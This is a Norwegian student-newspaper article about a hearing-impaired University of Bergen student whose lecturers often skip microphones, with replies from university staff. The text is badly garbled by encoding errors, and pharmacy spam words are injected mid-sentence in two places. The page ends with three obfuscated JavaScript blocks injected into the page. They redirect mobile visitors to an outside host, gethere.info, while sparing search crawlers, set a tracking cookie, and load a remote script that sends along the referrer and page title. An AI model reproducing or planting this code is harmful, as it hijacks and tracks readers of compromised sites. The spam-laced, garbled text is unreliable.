HA?rselshemmede Kaja fA?ler seg utenfor pA? forelesning

Hørselhemming_LRT_01

SAVNER OPPFA?LGING. Student Kaja Olsen A?nsker mer tilrettelegging for hA?rselshemmede. ai??i?? Jeg snakket med noen da jeg begynte pA? studiet her, men jeg har ikke blitt fulgt opp etter det, forteller hun. FOTO: LENE R. TORBJA?RNSEN

Selv om hun har nedsatt hA?rsel pA? begge A?rene, sier fortsatt enkelte forelesere Ai??neiAi?? til A? bruke mikrofon nA?r Kaja spA?r.

Samtaleforsterkere pA? UiB

ai??? Ai??Ai??Ai??Teleslyngeanlegg: Lyden gA?r direkte fra forelesers mikrofon til hA?reapparatet via teleslyngen som er installert i rommet.

ai??? Ai??Ai??Ai??InfrarA?dt anlegg: En sA?kalt ai???mini-teleslyngeai??? legges rundt halsen og fungerer som en antenne som overfA?rer lyd til hA?reapparatet. Systemet kan ogsA? brukes med vanlige hA?retelefoner.

ai??? Ai??Ai??Ai??FM-utstyr: Basert pA? en sender med mikrofon og en mottaker som kan kobles til et hA?reapparat, direkte eller via halsslynge.

Kilde: universell.no/IT-avdelingen

ai??i?? Du kan tenke deg at nA?r du hA?rer dA?rlig pA? en forelesning, sA? hA?rer vi enda dA?rligere, sier Kaja Olsen, som studerer fiskehelse ved Universitetet i Bergen (UiB).

Hun har redusert hA?rsel pA? begge A?rene, og har brukt hA?reapparat hele livet. Olsen er blant flere som forteller at enkelte forelesere ikke bruker mikrofon. Dette har skapt utfordringer for henne som student.

GA?r glipp av beskjeder

Universitetet har brukt 35 000 kroner per rom for A? tilrettelegge for hA?rselshemmede, og har anslagsvis brukt mellom 1 og 1,5 millioner kroner pA? utstyr. Likevel velger flere forelesere A? ikke bruke utstyret, til studentenes store fortvilelse.

ai??i?? Det er mange forelesere som ikke legger ut skriftlig informasjon. Noen ganger gir de beskjeder kun Ai??n gang pA? forelesning, og hvis du ikke hA?rte beskjeden finner du den ikke noe sted etterpA? heller. Dette er spesielt et problem hvis foreleserne forklarer vanskelige begreper. Man kan selvfA?lgelig lese om det i pensum, men man fA?r som regel forklart det pA? en annen mA?te i forelesninger, forteller Olsen.

ai??i?? Sier du ifra hvis en foreleser ikke bruker mikrofon?

ai??i?? Ja, jeg sier ifra hvis noen ikke bruker det, for det er det ikke alle som gjA?r. Jeg opplever likevel at noen bare sier Ai??neiAi??, selv om jeg spA?r. Det gjA?r meg ganske frustrert, sier hun.

Hun forteller ogsA? at arbeid i kollokviegrupper er lite tilrettelagt for hA?rselshemmede.

ai??i?? Her blir jeg satt utenfor fordi jeg ikke hA?rer hva folk sier nA?r de hvisker eller mange snakker samtidig.

Har investert i utstyr

Samtidig har universitetet over lengre tid investert i utstyr som skal gjA?re hverdagen enklere for hA?rselshemmede og andre studenter. De store auditoriene pA? UiB har hatt stA?ttesystem som teleslynge eller infrarA?dt anlegg i mange A?r (se faktaboks).

ai??i?? Ai?? fA? egnet teknologi inn i mindre rom har vAi??rt vanskeligere A? fA? pA? plass, skriver Wenche VA?rdal i IT-avdelingen ved UiB i en e-post til Studvest.

Hun forklarer videre at det finnes A?remerkede penger til vedlikehold av undervisningsrom hvert A?r. For 2016-budsjettet er det lagt av penger til A? kjA?pe inn anlegg som vil dekke noen mindre rom, slik som seminarrom og grupperom ogsA?.

At det ikke finnes noen samlet liste over rom som er tilrettelagt for assistert lytting, peker VA?rdal pA? som den stA?rste utfordringen for dagens system ved UiB.

Student Olsen forteller at hun bruker teleslynge noen ganger, men at det ikke fungerer over alt pA? grunn av dA?rlig dekning i flere av auditoriene.

ai??i?? En annen utfordring er at teleslyngen kun fanger opp det foreleser sier i mikrofonen, sA? spA?rsmA?l fra salen blir ikke hA?rt. Det er cialis100mg, cialis100mg, cialis100mg, cialis100mg, cialis100mg, cialis100mg, cialis100mg, cialis100mg. mange forelesere som ikke gjentar spA?rsmA?let de fA?r.

ai??i?? Forelesers ansvar

Viserektor for utdanning ved UiB, Oddrun Samdal forteller at det oppfordres til A? bruke mikrofon i de rommene som har dette tilgjengelig.

studentombud_JBB_01

VIL KORRIGERE. Viserektor Oddrun Samdal sier det slett ikke er meningen at hA?rselshemmede studenter skal fA?le seg utenfor, og lover A? ta problemet videre. ARKIVFOTO: JULIE BJELAND BUER

ai??i?? Ai?? tenke at du har en god stemme og dermed ikke behA?ver A? bruke utstyret, er en feiloppfatning vi mA? korrigere. Det handler om at hA?reapparat skal kunne plukke opp lyden fra mikrofonen, sier hun.

Hun forteller at de mA? kunne se pA? lA?sninger rundt det A? gi foreleserne informasjon om bruken av utstyret.

ai??i?? Hvis det er et problem som hA?rselshemmede studenter erfarer, tyder det pA? at vi mA? ta initiativ til en informasjonskampanje slik at behovet for A? bruke mikrofon blir tydelig for underviserne vA?re, sier hun.

EiendomsdirektA?r ved UiB, Even Berge anslA?r at to til fire prosent av studentene har hA?rselsproblemer, og at tallet er A?kende.

ai??i??Ai??Det er beklagelig hvis utstyret ikke brukes. Bruk vil gi bedre lAi??ringsutbytte for alle, mener han, og legger til at det ikke bA?r vAi??re studentenes ansvar A? pA?se at utstyret blir brukt.

Det sier student Olsen seg enig i.

ai??i?? Det er forelesernes ansvar A? gjA?re sitt for at folk fA?r med seg deres budskap, enten det er informasjon eller faglig innhold, sier hun.

Savner oppfA?lging

Olsen legger til at hun likevel trives som student ved UiB, men at tilretteleggingen kunne vAi??rt bedre.

ai??i?? Det er vanskelig A? finne frem til rett person, de synliggjA?r seg ikke i oppstartsuken og forteller at det er dem man kan snakke med. Man blir heller ikke fulgt opp selv om man tar kontakt og melder om behov for tilrettelegging, forteller studenten.

Hun har tenkt pA? om ordercialis, ordercialis, ordercialis, ordercialis, ordercialis, ordercialis. hun burde hatt tegnsprA?ktolk.

ai??i?? Dersom jeg skulle hatt en tegnsprA?ktolk ville det ha krevd mye planlegging med A? levere inn absolutt alle forelesninger jeg skal ha pA? forhA?nd. I ettertid tenker jeg at jeg kanskje burde hatt det.

Olsen A?nsker A? understreke at bruk av mikrofon ikke bare kommer hA?rselshemmede til gode.

ai??i?? Bruk av mikrofon er et allment behov. Det er viktig for alle, ikke bare de som bruker hA?reapparat. Vi kan ikke tvinge noen til A? bruke mikrofon, men det kunne vAi??rt mer tydelig hvor du skal gA? for A? fA? hjelp, sier hun.

Flere forelesere Studvest har kontaktet sier de forstA?r problemstillingen, men A?nsker ikke A? uttale seg i saken.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}